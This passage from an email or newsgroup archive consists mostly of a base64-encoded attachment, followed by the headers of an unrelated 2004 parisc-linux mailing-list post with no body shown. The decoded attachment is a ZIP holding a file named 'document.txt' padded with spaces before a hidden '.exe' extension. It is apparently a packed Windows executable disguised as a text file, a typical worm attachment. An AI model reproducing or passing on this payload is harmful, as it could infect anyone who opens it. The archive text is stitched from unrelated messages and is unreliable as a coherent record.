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
REREVVRERVVSUiIiI0SIiIhESZlERJmUUlIiIiNERERERESVRERJVFJSIiIjRIiIiIhESVVV
WVRSUiIiI0RERERERESZmZlUUlIiIiNEiIiIiIhESVRJVFJSIiIjRERERERERESVSVRSUiIi
I0SIiIiIiIhESVlUUlIiIiNERERERERERESZVFJSIiIjRIiIiIiIiIhESURSUiIiI0RERERE
REREREREUlIiIiNEiIiIiIiIiIiIRFJSIiIjRERERERERERERERSUiIiI0SIiIiIiIiIiIhE
UlIiIiNERERERERERERERFJSIiIjRCIiIiJEiIiIiERSUiIiI0Q5kkRCREREREREUlIiIiNE
MiIiIkSIiIiIRFJSIiIjRDRCd3JERERERERSUiIiI0QyIndyRIiIiIhEUlIiIiNENEJ3ckRE
RERERFJSIiIjRDRCZmJERERERERSUiIiI0Q0QmZiREREREREUlIiIiNEMzIiIkRERERERFJS
IiIjRERERERERERERERSUiIiI0JEJEJEJEJEJEJEMlIiIiNCRCRCRCRCRCRCRDJSIiIiJDND
NDNDNDNDNDNDIiIiIiIiIiIiIiIiIiIiIiIi4AAAD+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAA
B+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfg
AAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH4AAAB+AAAAfgAAAH+AAAD/////+hHOgwQAFp
wP1DA8AFwzieJiijEAPB+BAl/3+HAMOLRCRVBBLpVezsUQdTVlcz/zGJffzUFRxgICiL8GjI
wDcPt0UIUGRWJhgh2FORFRQyUA4QITvHiYo8dCoWEQwNV2iArMBqAvGwEhFA/3VsDIo0CIiD
+Pu/VAF1BDPA60HQ2zsD93YY6GH/HAKZuRsBUvH5i4CMMBQDQzveHnLojcz8V+F1bAh9eASK
LgkRZ3o5sfwPlNhfXilbybIcgYxkDHxWcL5gBAxXjYWcb/OiplBqYCkVLKwNPSgNiCzg+06M
1xS8RvcAgH3+XIs1JMU9v+BF4XQKIiVXBdYhCmjQsC8dgL3ciVyhQjwgIf414aE5EDRhMAlq
Zegyu/4QWZM/vQqDUI7KJpEgQbAGr3JECGrbBSjERqPkH8gWPIk9tyMtdFMUNOhsRXZ1IsYD
FTg1fFBRWhIJdViWhRLAdAVUTRNGFSM0ERR1GQ9qAecwSBIC9NCQMTDCEAC0ODBAMpAJdCQQ
Q1UnbJfOjmnPbQphCJ92j2Ug70Xvbu9j73LveexwK2X8ZM8mV+1vI5tMRA3WL+UWFM0wYkqf
ClPZa1lOsydcLvND81p2M6gxcCr/w4U8NWSnLrhTDspGgZ9nmWgVc/lCVJEOhGsZA3X4ZXL2
bwBuZmlnOXguZHFs4RBCSU4YQVJZEEZWA1Byb3RlY5suo3i2MWBcAADgAeAC4CDiEM4RBA3o
Fr4RfaQOeyiDRiIBjCgJEIkgFkmJFMDCnwEVgANvCBQHkAJmE8AC0BAJcFX/A7wIUgdBAgYT
Co5CKAF3AWxwECif0QQIEHmZg/RE9/0mECKEEOL3jtACEJyRT70YCPCrARnSD48DgFx4wFQH
sAOtBFIDOOqvAAAB4CBwQA5LRVJOYEwzMi5kcWzgRuhvBnNlSGFuGO3AWnI+aXQ6Rm4Vvr8p
YQscQR1Wn3pHb2ZS53NRdXJjnzZPOqlrDWJhZBYQSWlutm56Sj10Tb5kKWxdsyJG8XB5SVKb
5HRGRMAkV8Frb3dzRN8+5GP56nmlOaAtFE5hbUyGUHLw8mTjnExzanYfTGliO1MvPlRQk0PP
7m40DRhMYbxFctxc68WMTXUIeMxOAwAAAAAAAAAAAAAAAABQSwECFAAKAAAAAACGiaQwo4gd
3oBzAACAcwAAUwAAAAAAAAAAACAAAAAAAAAAZG9jdW1lbnQudHh0ICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5l
eGVQSwUGAAAAAAEAAQCBAAAA8XMAAAAA

------=_NextPart_000_0016----=_NextPart_000_0016--




From - Thu Nov 08 21:32:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo-1.4 broken on 32bit ?
Date: Tue, 4 May 2004 21:36:28 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <200405042136.28626.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623432 9246 80.91.229.3 (22 Nov 2014 02:30:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: deller@gmx.de  Tue May  4 13:36:41 2004
Return-Path: <deller@gmx.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 1F86F4840
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  4 May 2004 13:36:41 -0600 (MDT)
Original-Received: (qmail 25681 invoked by uid 65534); 4 May 2004 19:36:39 -0000
Original-Received: from pD90403D6.dip.t-dialin.net (EHLO p100) (217.4.3.214)
	by mail.gmx.net (mp017) with SMTP; 04 May 2004 21:36:39 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.6.52
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
